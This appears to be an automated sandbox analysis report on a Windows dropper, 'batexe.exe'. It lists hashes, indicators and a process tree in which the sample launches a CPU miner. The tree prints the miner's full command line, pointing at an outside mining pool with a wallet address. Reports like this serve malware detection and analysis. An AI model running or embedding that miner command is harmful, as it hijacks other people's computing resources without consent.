73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
307s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 15:54

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3060	b2e.exe
1568	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe
1568	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2900-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 3060	2900	batexe.exe	72
PID 2900 wrote to memory of 3060	2900	batexe.exe	72
PID 2900 wrote to memory of 3060	2900	batexe.exe	72
PID 3060 wrote to memory of 2336	3060	b2e.exe	73
PID 3060 wrote to memory of 2336	3060	b2e.exe	73
PID 3060 wrote to memory of 2336	3060	b2e.exe	73
PID 2336 wrote to memory of 1568	2336	cmd.exe	76
PID 2336 wrote to memory of 1568	2336	cmd.exe	76

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Users\Admin\AppData\Local\Temp\D97.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\D97.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\D97.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\15B6.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\15B6.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\D97.tmp\b2e.exe

Filesize
5.5MB

MD5
5b59362cc6847e77e0704242ba7b0510

SHA1
c3ef18bc623fdc2e23594d42849468d96f2de6ef

SHA256
400ad401f737c0635c786ca75fc55ac0f54263ef71fffb9a832eb9d3215ffc1d

SHA512
bcbb7e986751469e1f58e2711cb9278280ea44c12deb3f8644ccb42a9f26599128a3785af8c33c4f6e68d94ff23719a3aa0f7204e3d78b0057ae2c5911e53dc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\D97.tmp\b2e.exe

Filesize
5.4MB

MD5
20849d500adf882d9a36df3ea9fc9f81

SHA1
eec879d9e0f3689133b0daf337f731aed78da9a6

SHA256
694d25cc4b227106f92ce13d2f713a087d7477676c0ccc88b7adf63bbef0e02b

SHA512
a5427289e40cbaa1cee14b1d1a6f3e00d7728d74bf082e25d9c72291576b6fba4b6a2dcaf7f3a1f84e2c68d7328cc985c853f602c7a75fd1bfb1f978af756296

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
c3ff289300bde1ccc96f3f9e4598bec7

SHA1
4d06ffe26313d409e97a8c57dc7f8378b77bcad0

SHA256
46499d448a399ce525808dcba498b36ea4cc31e7bd40a5a21a905e4946cb2822

SHA512
6752a41a2236bffaa575b9de6bce4286f14ba02d5152d22b3078e2e44ea08049337a670487149c24fd9e5fddc182cd9a6b5cacf12b4687cee09b573eb8a6994f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
25a7e7a45826095402826c59038d81f4

SHA1
958e52d3600f1363761d926d59f85d0ababe153d

SHA256
f8585ad0900a423f2b45f8e58b7e3fa31c5e4a15a3bdd53d3058e2dc3aa8fca5

SHA512
b58a8cb007f0f67a5fff8268bea79d6f6e0e2ba605e3e385fe5ce59ad2f808b69f8ee269f7598003544c24b46cc2a739de869ae51750bf72dc8c9fce6d0502a6

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
cfd7b718e68959fb45e9b0ab9d4dc2e9

SHA1
48dc2b217a3de4258bd72b8351702b8cf200dba8

SHA256
5a070afb2e207c8af3ab4d7f72ac7f6e307cc67b61f0c4ea14d4b6a5ed28f194

SHA512
9a54433d8d111d1f6848e7efb7cccd711a8664bd31ee95202ca1fbaf8a66e805f263648fff835ab0add3ded5c7724da5049f9302dc69fe28fc2fb48d8c5be912

Download Submit
memory/1568-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1568-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1568-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-43-0x0000000074E60000-0x0000000074EF8000-memory.dmp

Filesize
608KB

Download
memory/1568-44-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/1568-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1568-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2900-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3060-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3060-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download